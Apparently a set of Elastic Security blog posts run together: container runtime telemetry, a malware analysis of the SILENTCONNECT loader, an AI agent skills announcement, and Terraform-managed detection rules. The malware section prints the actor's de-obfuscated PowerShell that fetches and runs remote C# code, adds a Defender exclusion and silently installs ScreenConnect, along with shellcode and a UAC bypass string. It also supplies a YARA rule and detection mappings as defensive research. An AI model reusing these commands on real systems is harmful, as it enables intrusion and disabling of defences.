The process.interactive field indicates whether a process is associated with an interactive session. In container environments, interactive execution is relatively rare for production workloads and often correlates strongly with post-compromise or hands-on-keyboard activity.

Defend for Containers exposes interactivity not only at the process level, but also across related execution contexts, including process.parent.interactive, process.entry_leader.interactive, and process.session_leader.interactive. This makes it possible to determine whether an entire execution chain is interactive, rather than relying on a single process flag in isolation.

Common examples of interactive execution within containers include spawning a bash or sh shell, running interactive utilities such as curl, kubectl, or busybox, or operator-driven reconnaissance within a compromised Pod. While these actions may be legitimate during debugging, they are uncommon in steady-state production workloads.

When combined with container image, namespace, and privilege context, interactive execution becomes a strong anomaly signal. It allows detection logic to distinguish between expected automated container behavior and activity more consistent with manual intervention or attacker-driven exploration.

File events

Defend for Containers file events capture filesystem activity inside containers, and are emitted for a variety of operations. Unlike traditional file integrity monitoring, these events are runtime-aware and scoped to container workloads, providing context about how and why file changes occur.

Defend for Containers can detect file activity such as file opens with write intent, content modifications, file creations, renames, permission changes, and deletions. By focusing on write-oriented operations, Defend for Containers emphasizes behavior that alters system state rather than passive file access.

This allows detection engineers to reason about file usage patterns at runtime, not just the result of a change.

Several fields are particularly important when building file-based detections. The file.path and file.name fields identify the affected file and its location, while file.extension can help distinguish binaries, scripts, and configuration files. The event.action and event.type fields describe what operation occurred and how it should be interpreted in the event lifecycle.

Together, these fields allow Defend for Containers to distinguish benign file access from suspicious modification patterns, such as writing binaries or changing permissions within sensitive directories.

Bringing it together

As with any other data source, Defend for Containers telemetry becomes truly valuable once you understand how to combine fields across the process, file, container, and orchestration domains. Rather than relying on static indicators, Defend for Containers enables detection engineering based on runtime behavior, privilege context, and workload identity.

Conclusion

Defend for Containers in Elastic Stack 9.3.0 includes container runtime detection as a core component of Linux detection engineering. It features a clear scope, a policy-driven configuration model, and runtime telemetry designed specifically for containerized workloads.

In this post, we examined how to deploy Defend for Containers, how its policy model is structured, and how runtime events are generated and enriched with container and orchestration context. We explored the structure of process and file events, capability metadata, interactive execution signals, and container-specific fields that allow detections to be expressed in a workload-aware manner.

The key takeaway is that effective container detection requires reasoning about runtime behavior in context: processes, file modifications, privileges, and workload identity must be evaluated together. Defend for Containers provides the necessary telemetry to make that possible.

In the next article, we will build on this foundation by walking through a realistic container attack scenario and demonstrating how Defend for Containers telemetry surfaces each stage of compromise in practice.

Elastic Security Labs is observing malicious campaigns delivering a multi-stage infection involving a previously undocumented loader. The infection begins when users are diverted to a Cloudflare Turnstile CAPTCHA page under the guise of a digital invitation. After the link is clicked, a VBScript file is downloaded to the machine. Upon execution, the script retrieves C# source code, which is then compiled and executed in memory using PowerShell. The final payload observed in these campaigns is ScreenConnect, a remote monitoring and management (RMM) tool used to control victim machines.

This campaign highlights a common theme: attackers abusing living-off-the-land binaries (LOLBins) to facilitate execution, as well as using trusted hosting providers such as Google Drive and Cloudflare. While the loader is small and straightforward, it appears to be quite effective and has remained under the radar since March 2025.

Key takeaways

• SILENTCONNECT is a newly discovered loader actively being used in-the-wild
• This loader silently installs ConnectWise ScreenConnect, enabling hands-on keyboard access to victim machines
• Campaigns distributing SILENTCONNECT use hosting infrastructure from Cloudflare and Google Drive
• SILENTCONNECT uses NT API calls, PEB masquerading and includes Windows Defender exclusion and User Account Control (UAC) bypass

SILENTCONNECT infection chain

In the first week of March, our team observed a living off-the-land style infection generating multiple behavioral alerts over a short period.

The initial VBScript download triggered our Suspicious Windows Script Downloaded from the Internet rule, which let us pivot to the source of the infection using the associated file.origin_url and file.origin_referrer_url fields.

By navigating to the original landing page, we observed a Cloudflare Turnstile CAPTCHA page. After clicking the human verification checkbox, a VBScript file (E-INVITE.vbs) is downloaded to the machine.

Below is the source code of the landing page, we can see that the VBScript file (E-INVITE.vbs) is hosted on Cloudflare’s object storage service r2.dev.

Below are other VBScript filenames observed in the last month related to these campaigns:

• Alaska Airlines 2026 Fleet & Route Expansion Summary.vbs
• CODE7_ZOOMCALANDER_INSTALLER_4740.vbs
• 2025Trans.vbs
• Proposal-03-2026.vbs
• 2025Trans.vbs
• updatv35.vbs

The VBScripts are minimally obfuscated, using a children’s story as a decoy, and employ the Replace() and Chr() functions to hide the next stage.

This script de-obfuscates to the following command-line output:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass 
  -command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; 
  curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download' 
  -o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds 
  8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep 
  -Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source 
  -Language CSharp; [HelloWorld]::SayHello()""

This snippet uses PowerShell to invoke curl.exe to download a C# payload from Google Drive, which is then written to the disk with the file name (C:\Windows\Temp\FileR.txt).

The retrieved C# source code uses an obfuscation technique known as constant unfolding to conceal the byte array used for reflective in-memory execution.

Finally, the PowerShell command compiles the downloaded C# source (FileR.txt) at runtime using Add-Type, loads it into memory as a .NET assembly, and executes it via the [HelloWorld]::SayHello() method.

SILENTCONNECT

The following section covers the .NET loader family we call SILENTCONNECT. The sample is relatively small and straightforward, primarily designed to download a remote payload (ScreenConnect) and install it silently on the system.

After sleeping for 15 seconds, the malware allocates executable memory using the native Windows API function via NtAllocateVirtualMemory, assigning the region PAGE_EXECUTE_READWRITE permissions. SILENTCONNECT stores an embedded byte array containing the following shellcode:

53                        ; push rbx
48 31 DB                  ; xor rbx, rbx
48 31 C0                  ; xor rax, rax
65 48 8B 1C 25 60000000   ; mov rbx, gs:[0x60]  ← PEB address (x64)
48 89 D8                  ; mov rax, rbx        ← return value
5B                        ; pop rbx
C3                        ; ret

This small shellcode is moved into the recently allocated memory using Marshal.Copy. Next, the malware executes the shellcode in order to retrieve the address of the Process Environment Block (PEB). This approach allows the malware to access process structures directly while avoiding higher-level Windows APIs that are commonly monitored or hooked by security products.

SILENTCONNECT uses NTAPIs from ntdll.dll (Native APIs) and ole32.dll (COM APIs) during the delegate setup stage, enabling the malware to invoke functions such as NtWriteVirtualMemory or CoGetObject directly from.NET.

PEB Masquerading

SILENTCONNECT implements a common malware evasion technique known as PEB masquerading. All Windows processes include a kernel-maintained structure known as the Process Environment Block (PEB). This structure contains a linked list of loaded modules. Inside each linked list are entries that contain the module’s base address, DLL name, and full path. SILENTCONNECT goes through this structure, finding its own module, then overwrites its BaseDLLName and FullDllName to winhlp32.exe and c:\windows\winhlp32.exe.

Many security tooling, including EDRs, use the PEB as a trusted source to detect suspicious activity. This technique can fool these products by using a benign name and path to hide itself.

Before launching the payload, the malware implements a UAC bypass using the function LaunchElevatedCOMObjectUnsafe with the moniker string reversed: :wen!rotartsinimdA:noitavelE -> Elevation:Administrator!new:

If the malware is in an un-elevated state, it will attempt to use the UAC bypass technique via CMSTPLUA COM interface. The launch parameters are stored in a character array in reverse order as a simple obfuscation technique.

The first part of this obfuscated command adds a Microsoft Defender exclusion for .exe files.

$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure) 
-ExclusionExtension $s -Force;

Below is the result of this command in Defender with the exception added:

After adding the exclusion, SILENTCONNECT creates a temporary directory (C:\Temp) and uses curl.exe to download the malicious ScreenConnect client installer into it. It then invokes msiexec.exe to silently install the RMM. Below is the second-half of the command-line:

New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L 
 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
  -o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i 
  C:\Temp\ScreenConnect.ClientSetup.msi'"

Following installation, the ScreenConnect client persists as a Windows service and beacons to the adversary-controlled ScreenConnect server at bumptobabeco[.]top over TCP port 8041.

SILENTCONNECT campaign

The primary initial access vector for these campaigns starts from phishing emails. We identified an email sample (YOU ARE INVITED.eml) uploaded to VirusTotal from a campaign last year.

The email is sent from dan@checkfirst[.]net[.]au and impersonates a project proposal invitation from a fake company. The email body invites the recipient to submit a proposal by clicking a link. This link redirects the victim to attacker-controlled infrastructure imansport[.]ir/download_invitee.php.

Notably, the threat actor reused the same URI path (download_invitee.php) across all compromised websites to deliver the payload. This consistent naming convention represents a poor operational security (OPSEC) practice, as it provided a reliable pivot point for tracking the campaign's infrastructure and identifying additional compromised hosts through VirusTotal searches such as entity:url url:download_invitee.php.

We also uncovered various legitimate websites that were compromised and used the same infrastructure to facilitate other fraudulent schemes. For example, one URL (solpru[.]com/process/docusign[.]html) hosts a page that closely mimics the DocuSign electronic signature platform.

Fake DocuSign portal

This chain completely jumps SILENTCONNECT by downloading a preconfigured ScreenConnect MSI that automatically connects to the actor’s server (instance-lh1907-relay.screenconnect[.]com).

Another page on a different domain impersonates a Microsoft Teams page and requests that the user download a file, which leads to abuse of the Syncro RMM Agent.

Conclusion

Elastic Security Labs continues to see an uptick in RMM adoption by threat actors. As these tools are used by legitimate IT departments, they are typically overlooked and considered “trusted” in most corporate environments. Organizations must stay vigilant, auditing their environments for unauthorized RMM usage.

While this particular group went a step further by writing a custom loader, the majority of their infection chain leverages Windows binaries to evade detection and blend in with normal system activity. The abuse of trusted platforms such as Google Drive and Cloudflare for payload hosting and lure delivery further complicates detection, as network-based controls are unlikely to block traffic to these services outright. As threat actors continue to favor simplicity and stealth over sophistication, campaigns of this nature are likely to persist and evolve.

SILENTCONNECT and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Command and Control
• Defense Evasion
• Execution
• Privilege Escalation

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Command and Scripting Interpreter: PowerShell
• Impair Defenses: Disable or Modify Tools
• Abuse Elevation Control Mechanism: Bypass User Account Control
• Remote Access Tools: Remote Desktop Software
• Ingress Tool Transfer
• Obfuscated Files or Information

Detecting SILENTCONNECT

• Ingress Tool Transfer via CURL
• Connection to WebService by a Signed Binary Proxy
• UAC Bypass via ICMLuaUtil Elevated COM Interface
• Suspicious PowerShell Execution
• Windows Defender Exclusions via WMI
• Suspicious Windows Powershell Arguments
• Potential File Transfer via Curl for Windows
• Connection to Commonly Abused Web Services

YARA

Elastic Security has created the following YARA rules to identify this activity:

rule Windows_Trojan_SilentConnect_cdc03e84 {
    meta:
        author = "Elastic Security"
        creation_date = "2026-03-04"
        last_modified = "2026-03-04"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.SilentConnect"
        reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
        license = "Elastic License v2"
    strings:
        $peb_evade = "winhlp32.exe" wide fullword
        $rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
        $masquerade_peb_str = "MasqueradePEB" ascii fullword
        $guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
        $unique_str = "PebFucker" ascii fullword
        $peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
        $rev_screenconnect = "tcennoCneercS" ascii wide
    condition:
        5 of them
}

Observations

The following observables were discussed in this research.

Elastic Agent Skills are open source packages that give your AI coding agent native Elastic expertise. If you're already using Elastic Agent Builder, you get AI agents that work natively with your security data. Agent Skills are for the other side: bringing that same Elastic Security knowledge to the external AI tools your team already uses, like Cursor, Claude Code, or GitHub Copilot.

If you use an AI coding agent and want to evaluate Elastic Security, or you're a security team that wants to get up and running with Elastic Security fast without navigating setup docs, these are for you. Today we're shipping security skills that take you from zero to a fully populated Elastic Security environment, without leaving your integrated development environment (IDE).

Before you dive in, note that this is a v0.1.0 release. Also, review this documentation for steps to get started and important security considerations.

Step 1: Create a security project

You open your AI coding agent and prompt: Create a Security project on Elastic Cloud.

The create-project skill provisions an Elastic Cloud Serverless Security project via the Elastic Cloud API, handles credentials securely, and hands you back your Elasticsearch and Kibana URLs.

Elastic Cloud Serverless supports regions across Amazon Web Services (AWS), Google Cloud Platform (GCP), and Azure, so you can pick whichever fits your environment.

One prompt. Project ready.

Step 2: Generate sample data

An empty Elastic Security project isn't very convincing. No alerts, no timelines, no process trees. You need data, but you don't always want to enable real sources of data before you've had a chance to explore.

The generate-security-sample-data skill populates your project with realistic, Elastic Common Schema–compliant (ECS-compliant) security events and synthetic alerts across four attack scenarios:

• Windows ransomware chain: Word macro to PowerShell to ransomware deployment, complete with process trees that light up the Analyzer view.
• Credential access: LSASS memory dumps and credential harvesting.
• AWS cloud privilege escalation: IAM policy manipulation and unauthorized access key creation.
• Okta identity attack: Multifactor authentication (MFA) factor deactivation and suspicious authentication patterns.

These aren't random events. Every alert maps to MITRE ATT&CK techniques. Process trees have proper entity IDs so the Analyzer renders real parent-child relationships. Attack Discovery picks up the correlated threat narratives. You get the experience of a live environment without needing one.

When you're done exploring, ask your AI coding agent to remove the sample data. All sample events, alerts, and cases are cleaned up without affecting the rest of your environment.

Step 3: What's next after sample data

Once your environment is populated, the same AI coding agent can help you work with it. We're also shipping skills for alert triage (fetch and investigate alerts, classify threats, and acknowledge alerts), detection rule management (find noisy rules, add exceptions, and create new coverage), and case management (create and track security operations center [SOC] cases and link alerts to incidents).

Why skills, not just docs?

Elastic's API documentation is public. Your AI agent can already read it. So why do skills matter?

Skills matter because docs describe individual endpoints and encode workflows. There's a real gap between knowing that POST /api/detection_engine/signals/search exists and knowing that you need to fetch the oldest unacknowledged alert, query the process tree and related alerts within a five-minute window of the trigger time, check for an existing case before creating a new one, attach the alert with its rule UUID, and then acknowledge all related alerts on the same host, in that order, with the right field names, across three different APIs.

Skills also encode what not to do: Never display credentials in chat, confirm before creating billable resources, and handle Serverless-specific API quirks. This is the expert knowledge that turns a general-purpose AI agent into one that actually knows Elastic.

Get started

All skills are open source and work with any supported AI coding agent:

• Cursor
• Claude Code
• GitHub Copilot
• Windsurf
• Cline
• OpenCode
• Gemini CLI

Open a terminal in your project workspace and run:

Or install specific skills:

Check out the full catalog at github.com/elastic/agent-skills.

This article highlights how Elastic's new Terraform resources for security detection rules and exceptions expand practitioners' capabilities for detection-as-code deployment. Below you will find examples of defining and deploying your detection artifacts in Elastic Security with Terraform. We will also show how you can use Elastic's AI Agent to help quickly create the Terraform configuration for your custom rules. Finally, it also provides guidance on when to use the Elastic Stack Terraform provider versus tools from the detection-rules repository.

Managing Elastic with Terraform

Terraform is a tool created by HashiCorp (now IBM) to manage infrastructure in the cloud, or in self-managed environments, as code. With a simple stroke of HCL (HashiCorp configuration language), users can define the desired state of their cloud provider infrastructure, application, configuration, and in Elastic’s case, cluster settings, configuration, indices or streams, and now also detection rules and alerts, as fully configurable, traceable, and reviewable code in your favorite source management tool.

The Elastic Stack Terraform provider helps search, observability, and security professionals, as well as DevOps and SREs, configure their Elastic clusters with the right indices and mappings for their search use cases, SLOs or Fleet policies for their observability use case, and now, detection rules, alerts, and exceptions for their security use case. It can easily configure those, and many more objects and settings in the Elastic Stack.

Security Detection rules - now as code with Terraform

With V0.12.0 and V0.13.0 of the Elastic Stack Terraform provider, users can now manage their Detection rules and rule exceptions using Terraform. This is especially useful for users who have already been managing their Elastic deployments with Terraform and want to extend it to Detection rules.

Using the Elastic Stack Terraform Provider to deploy Rules and Exceptions

Let's look at an example of using the Elastic Stack Terraform Provider to deploy an Elastic Security Rule. In this example, we want to detect Windows Service Accounts that are performing an interactive logon on a host.

Service accounts typically have elevated privileges and rarely-rotated passwords, making them high-value targets for attackers. Since these accounts should only perform automated service logons, an interactive logon can indicate credential theft or misuse.

The first thing we need to think of is what telemetry we need to see which logons are happening on our host. Logon events are logged by the Windows Local Security Authority Subsystem Service (LSASS) whenever a logon session is successfully created on the machine. We can pick this up via an Elastic Agent with the Windows Integration installed.

The data will be written by the Elastic Agent into the system.security Data Stream, we can match it with this index pattern: logs-system.security-*. We also know that Logon events generate event code 4624 and that, in our example, the service account name starts with svc or ends with $. In addition, an interactive login will have a logon type of interactive.

So, we can match these events with an ES|QL rule like:

FROM logs-system.security-\*  
| WHERE event.code \== "4624" AND (user.name LIKE "svc\_\*" OR user.name LIKE "svc-\*"  
     OR user.name LIKE "\*\_svc" OR user.name LIKE "\*$")  
     AND winlog.logon.type IN ("Interactive", "RemoteInteractive",  
         "CachedInteractive", "CachedRemoteInteractive")  

There may be situations where we don't want this rule to run, for example, if there is a legacy application that we want to permit interactive logons from. So, we can create an Exception Item, like: user.name IS svc\_sqlbackup.

Now that we know what we want the Rule and its Exceptions to look like, we can use the Terraform provider's elasticstack_kibana_security_detection_rule, elasticstack_kibana_security_exception_list, and elasticstack_kibana_security_exception_item resources to define them in code.

Turning ES|QL rules into Terraform's configuration syntax, HCL, is a great use case for Elastic's AI Agent.
Elastic AI Agent capabilities help accelerate security operations across a wide range of tasks - from alerts triage and incident response to helping with detection lifecycle tasks.

Simply open AI Agent, and ask it to create Terraform configurations based on your query and exceptions.

You should end up with something like this:

Here's a closer look at the code.

There are a few elements to call out specifically:

• type: The type of exception list. For example: detection, endpoint, or endpoint_trusted_apps
• namespace_type: Determines whether the exception list is available in all Kibana spaces or just the single space in which it was created.

resource "elasticstack_kibana_security_exception_list" "svc_account_interactive_login" {
  list_id        = "svc-account-interactive-login-exceptions"
  name           = "Service Account Interactive Login Exceptions"
  description    = "Documented exceptions for service accounts that legitimately require interactive logon"
  type           = "detection"
  namespace_type = "single"
  tags           = ["service-accounts","windows","authentication"]
}  

This creates a new exception list.

Of note, the entries array contains the conditions under which the exception applies.

resource "elasticstack_kibana_security_exception_item" "svc_sqlbackup" {
  list_id        = elasticstack_kibana_security_exception_list.svc_account_interactive_login.list_id
  item_id        = "svc-sqlbackup-exception"
  name           = "svc_sqlbackup - Legacy SQL Backup Agent"
  description    = "Approved exception: Legacy SQL backup agent requires interactive logon per vendor documentation."
  type           = "simple"
  namespace_type = "single"
  tags           = ["sql","backup","approved"]
entries = [
    {
      field    = "user.name"
      type     = "match"
      operator = "included"
      value    = "svc_sqlbackup"
    }
  ]
} 

This adds our exception: that we don't want the rule to run if the username is svc\_sqlbackup.

Of note, the elements from enabled to the technique array are examples of the other properties that can be set on a rule.

resource "elasticstack_kibana_security_detection_rule" "svc_account_interactive_login" {
  name        = "Service Account Interactive Login"
  description = <<-EOT
    Detects interactive logins by service accounts. Service accounts should authenticate
    via service (Type 5) or batch (Type 4) logon types, not interactively. Interactive
    logins by service accounts may indicate credential theft or misuse.

    This rule identifies service accounts by common naming conventions (svc_*, svc-*,
    *_svc) and managed service accounts (*$).
  EOT

  type     = "esql"
  language = "esql"
  query    = <<-EOT
    FROM logs-system.security-* metadata _id, _version, _index
    | WHERE event.code == "4624"
      AND (user.name LIKE "svc_*" OR user.name LIKE "svc-*" OR user.name LIKE "*_svc" OR user.name LIKE "*$")
      AND winlog.logon.type IN ("Interactive", "RemoteInteractive", "CachedInteractive", "CachedRemoteInteractive")
    | KEEP @timestamp, host.name, user.name, user.domain, winlog.logon.type, source.ip, _id, _version, _index
  EOT

  enabled    = true 
  severity   = "high"
  risk_score = 73

  from     = "now-6m"
  to       = "now"
  interval = "5m"

  author  = ["Security Team"]
  license = "Elastic License v2"
  tags    = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Identity and Access Audit",
    "Tactic: Initial Access",
    "Data Source: Windows Security Event Log"
  ]

  false_positives = [
    "Service accounts with documented exceptions that require interactive logon",
    "Break-glass procedures during incident response",
    "Initial service account configuration or troubleshooting"
  ]

  references = [
    "https://learn.microsoft.com/en-us/entra/architecture/service-accounts-on-premises",
    "https://blog.quest.com/10-microsoft-service-account-best-practices/",
    "https://attack.mitre.org/techniques/T1078/002/"
  ]

  threat = [
    {
      framework = "MITRE ATT&CK"
      tactic = {
        id        = "TA0001"
        name      = "Initial Access"
        reference = "https://attack.mitre.org/tactics/TA0001/"
      }
      technique = [
        {
          id        = "T1078"
          name      = "Valid Accounts"
          reference = "https://attack.mitre.org/techniques/T1078/"
          subtechnique = [
            {
              id        = "T1078.002"
              name      = "Domain Accounts"
              reference = "https://attack.mitre.org/techniques/T1078/002/"
            }
          ]
        }
      ]
    }
  ]

  exceptions_list = [
    {
      id             = elasticstack_kibana_security_exception_list.svc_account_interactive_login.id
      list_id        = elasticstack_kibana_security_exception_list.svc_account_interactive_login.list_id
      namespace_type = elasticstack_kibana_security_exception_list.svc_account_interactive_login.namespace_type
      type           = elasticstack_kibana_security_exception_list.svc_account_interactive_login.type
    }
  ]
}

Finally, we define the rule, including the ES|QL query we provided earlier and MITRE ATT&CK classification.

You can add these resource definitions into one configuration file (perhaps security-rules.tf), add it to your configured Elastic Stack terraform directory, and then run the `terraform apply` command and parameter to deploy the Rule.

terraform apply --auto-approve

Since terraform apply runs a plan before making changes, it will automatically detect if anyone has edited a rule directly in Kibana and show you exactly what drifted: no manual exports or diffs needed.

After Terraform has made the changes, we can see the Rule in Kibana:

We can also see the Exception List:

This way, you can define your detections in Terraform and benefit from automatic deployment along with other objects you manage with Terraform.

Terraform workspaces for multi-space Elastic deployments

Terraform uses a concept called “workspaces” allowing you to reuse the same infrastructure code for multiple deployments, for example, a dev, testing, and production environment. This concept is useful for managing rules across multiple deployments and/or Kibana spaces.

Managing detections with Terraform and Detections as code

Elastic also has Detections as Code functionality available via our open detection-rules repository.

The two tools have complementary strengths and are aligned with different user profiles and workflow stages for implementing Detections as Code.

Detection as Code features in detection-rules

• Best fit user profile: Detection engineers
• Intended workflow phase: Rule authoring and validation

With dual-sync between your GitHub repo and Kibana, linting, schema validation, and unit-testing, detection-rules functionality is well-suited to experienced Detection Engineers comfortable with Git-based version control.

Elastic Stack Terraform Provider

• Best fit user profile: DevOps engineers / Platform teams
• Intended workflow phase: Deployment and operations

For users already using Terraform to manage their Elastic clusters, the Terraform Provider is a great fit, bringing consistency to all "x-as-code" operations and familiar state management and parameterization.

The key differences and optimal use cases for each tool are detailed in the comparison table below:

In short, Detection Engineers are better served by the specialized creation and testing tools provided in the detection-rules repository, while DevOps/Platform Teams should use the Terraform provider to manage detection rules as part of their broader infrastructure-as-code strategy for deployment and operations.

Try it out

To experience the full benefits of what Elastic has to offer for detection engineers, upgrade to 9.3 or start your Elastic Security free trial. Visit elastic.co/security to learn more and get started.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.